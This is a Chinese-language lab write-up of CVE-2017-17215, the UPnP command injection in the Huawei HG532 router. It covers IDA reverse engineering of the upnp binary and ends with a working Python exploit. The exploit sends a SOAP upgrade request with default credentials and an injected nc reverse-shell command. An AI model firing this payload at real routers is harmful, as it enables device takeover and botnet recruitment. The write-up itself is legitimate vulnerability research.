漏洞分析:CVE-2017-17215
華為HG532路由器的命令注入漏洞,存在於UPnP模塊中。
漏洞分析
什么是UPnP?
搭建好環境(使用IoT-vulhub的docker環境),啟動環境,查看一下系統啟動的服務和端口監聽情況。
漏洞點存在於UPnP模塊中,關於upnp協議,其實現的功能大致如下:
1.NAT 網關設備擁有一個公網 IP 地址(比如 10.59.116.19),內網中的主機(比如 192.168.1.101)想要與外界通信的話,NAT 網關設備可以為其做一個端口映射(比如:180.59.116.19 :80 —> 192.168.1.101 :80),這樣,外部的主機發往 NAT 網關的數據包都會被轉發給內網的該主機,從而實現了內網中的主機與外部主機的通信;
2.當內網的服務,需要被外網訪問的時候,就需要做一個端口映射,把內網主機的端口映射到NAT網關設備的一個端口上去,這樣訪問網關設備的端口時候,實際上就是訪問了內網主機的服務。但是當內網有多台主機需要向外提供服務的時候,就需要手動配置NAT網關設備的映射端口,確保這些內網服務不會映射到NAT網關設備的同一個端口上去,否則就會造成端口的沖突,這給用戶造成了很多麻煩;
3.UPnP 技術標准的出現就是為了解決這個問題,只要 NAT 設備(路由器)支持 UPnP,並開啟。那么,當我們的主機(或主機上的應用程序)向 NAT 設備發出端口映射請求的時候,NAT 設備就可以自動為主機分配端口並進行端口映射。這樣,我們的主機就能夠像公網主機一樣被網絡中任何主機訪問了。
總的來說,upnp提供了一種外網到內網主機的訪問機制,如果網關設備的upnp模塊存在問題,同時防火牆配置不當的話,從WAN口去攻擊路由器等等網關設備就會比較容易。HG532這款設備,使用upnp來進行固件更新,在固件更新的過程中存在命令注入漏洞,最早是checkpoint發現被Mirai的變種OKIRU/SATORI利用來構建僵屍網絡。
漏洞函數,你在哪里被調用?
用IDA打開/bin/upnp文件,通過搜索system等命令執行函數的交叉引用,查看存在的命令注入點。由於大部分命令執行函數的參數是硬編碼過的,所以找到這個漏洞點並不困難,簡單的搜索之后,就可以看到一個snprintf函數在傳遞參數的過程中,對參數沒有做任何校驗,然后snprintf讀入的格式化字符串參數的地址被傳遞到了system函數中,system調用upg來進行固件更新,如果param1和param2兩個參數可控的話,就可以在system中執行攻擊者的命令。
現在需要看一下ATP_XML_GetChildNodeByName函數,由於固件沒有剝離符號表,所以通過函數名大致可以看出函數做了什么:
int __fastcall ATP_XML_GetChildNodeByName(int a1, int NodeName, int *a3, _DWORD *param) { int flag; // $s1
int i; // $v0
int v9; // $s0
int NodeValue; // [sp+20h] [-8h] BYREF
int ret_NodeName; // [sp+24h] [-4h] BYREF
flag = 0x40090000; if ( NodeName ) { for ( i = ((int (__fastcall *)(int))TSP_XML_GetNodeFirstChild)(a1); ; i = TSP_XML_GetNodeNextSibling(v9) ) { // 遍歷xml節點
v9 = i; if ( !i ) { if ( param ) *param = 0; return 0x40090004; } flag = TSP_XML_GetNodeValue(i, 0, 0, &ret_NodeName, &NodeValue);// 獲取xml節點的值
if ( flag ) { if ( param ) *param = 0; return flag; } if ( ret_NodeName && !strcmp(ret_NodeName, NodeName) ) break; } if ( a3 ) *a3 = v9; if ( param ) { if ( NodeValue ) ((void (*)(void))sub_408540)(); *param = NodeValue; } } return flag; }
大膽猜測一下:通過遍歷xml的節點,找到標簽名和第二個參數一樣的節點,然后把xml節點的值寫入到第四個參數的地址處。這里比較坑的一點是,我找不到漏洞函數的交叉引用,也不知道怎么控制snprintf的參數。
這里先在squashfs-root目錄下找找"NewDownloadURL"和"NewStatusURL"這兩個字符串:
在upnp中查找DevUpg.xml字符串的交叉引用:
查看ATP_UPNP_RegDeviceAndService函數,發現這個函數對ATP_UPnP_RegDevice函數和ATP_UPnP_RegService函數有大量的調用,猜測這個函數可能主要用於開啟外網對內訪問的服務。
往下找一找,可以看到一個ATP_UPNP_RegAction函數,這個函數有兩個參數:
這個參數之前就作為ATP_UPnp_RegDevice的最后一個參數被傳遞進去過:
我們之前說,ATP_UPnP_RegService這個函數可能是開啟UPnP的服務,那ATP_UPNP_RegAction,很有可能就是要對開啟的服務做一些操作,跟進看一看。
int __fastcall ATP_UPNP_RegAction(int service_id, int idx) { int result; // $v0
int *v4; // $s0
char *funcname; // $s2
int v6; // $s1
if ( !service_id ) return 0x40090000; result = 0x40090000; if ( *(_DWORD *)(service_id + 48) ) { v4 = *(int **)(service_id + 36); if ( v4 ) { funcname = g_astActionArray[4 * idx]; while ( 1 ) { if ( (v4[1] & 0x40000000) != 0 ) { v6 = *v4; if ( !strcmp(*v4, funcname) ) break; } v4 = (int *)v4[4]; result = 0x40090000; if ( !v4 ) return result; } ATP_UPNP_Free(v6); v4[1] &= 0xBFFFFFFF; *v4 = idx; result = 0; } } return result; }
這里的重點,在g_astActionArray這個全局變量,這個全局變量之前沒有被識別出來,在IDA里面修改識別一下,發現別有洞天:
這是一個虛表,aUpgrade和DeviceUpgrade(這個就是漏洞函數)分別是下標為0和1的函數名。這樣看來,之前找不到對應漏洞函數的交叉引用也就有理可循了。
再來看看這個虛表對應的交叉引用,看除了ATP_UPNP_RegAction這個函數之外,它還在哪里被調用了:
UPnPGetActionByName會返回g_astActionArray中的函數指針:
然后這個函數指針隨后會被調用:
做到這一步,我們現在可以再梳理一下逆向的工作了。
我們之前首先通過搜索system函數交叉引用的辦法,找到了漏洞點,但是沒有找到漏洞函數的交叉引用,這是因為函數是通過虛表的方式,調用了函數指針。
然后我們通過在固件中查找關鍵字符串的方式,確定了UPnP協議要解析的一個關鍵的xml文件:DevUpg.xml。我們又回到/bin/upnp中,查找這個文件名字符串的交叉引用,通過分析ATP_UPnp_RegDevice和ATP_UPNP_RegAction這兩個函數,在IDA里面找到並且正確識別了這個虛表。
最后再通過查找虛函數其他的交叉引用,找到了函數指針被調用的地方,還原了整個漏洞函數執行的流程。
那么現在還要關注哪些問題?
我們現在還不知道,控制固件升級的消息格式,只有清楚了消息格式,我們才能結合之前找到的注入點注入命令。
通過UPnP實現固件更新的過程,是通過一個Web接口來實現的,我們還要把這個接口給找出來。完成這兩步,感覺這個漏洞挖掘的過程就被完整地還原出來了,開搞。
尋找Web接口
在逆向的過程中,有這樣一段代碼:
http_request是我重命名的一個變量,這個變量肯定是一個結構體指針,但是暫時沒有辦法還原這個結構體。UpnpGetServiceByUrl這個函數名也引起了我的注意(url這個變量也是我重命名的一個變量,根據函數名猜的),跟進到這個函數中看一看:
這樣一看,這個函數實現的功能其實也能猜個十之八九,g_pstUpnpGvarHead這個全局變量最開始是在ATP_UPNP_Init函數中被賦值;
還有一個函數會以xml格式返回客戶端錯誤:
到這一步,我覺得繼續靜態分析的話,收獲也不大了,登錄到路由器后台找一找api,看看能不能抓包分析一下流量是唯一的出路。
后台確實有固件升級的功能,但是在docker中好像不能用,我把tcpdump傳到靶機中沒有抓取到37215端口的流量,看了一下check point的漏洞公告和分析,嘗試構造exp。
漏洞利用
checkpoint文中提到是通過蜜罐捕獲到了流量。
通過UPnP協議控制固件升級的消息格式如上圖所示,其中NewStatusURL和NewDownloadURL標簽中的內容就是我們可控的命令注入點。通過nc反彈shell失敗,wget傳遞msf的反彈shell還是穩......
exp中需要進行http身份驗證,否則就會報401錯誤。
import requests from threading import Thread from requests.auth import HTTPDigestAuth cmd = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.1 3456 > /tmp/f"
#cmd = "mkdir /tmp/poc"
payload = '''<?xml version=\"1.0\" ?>\n''' payload += '''<s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\n''' payload += '''<s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\">\n''' payload += '''<NewStatusURL>;$(./tools/msf);</NewStatusURL>\n''' payload += '''<NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL>\n</u:Upgrade>\n''' payload += '''</s:Body>\n''' payload += '''</s:Envelope>''' url = "http://192.168.2.2:37215/ctrlt/DeviceUpgrade_1"
# r = requests.post(url,data = payload)
r = requests.post(url,auth = HTTPDigestAuth('dslf-config', 'admin') ,data = payload) print(r.status_code)
總結
關於這個漏洞,感覺網上一些文章都是搭了環境,然后直接找一次命令注入點,根據漏洞公告給的信息打一次exp,少了一些細節。我在分析的過程中,加入了自己學習和研究的過程中的一些思路和想法,在這個過程中,我對於UPnP協議也有了一些了解,加深了對命令注入漏洞數據流的理解。
參考鏈接:
https://zhuanlan.zhihu.com/p/40407669
https://nosec.org/home/detail/4871.html
https://research.checkpoint.com/2017/good-zero-day-skiddie/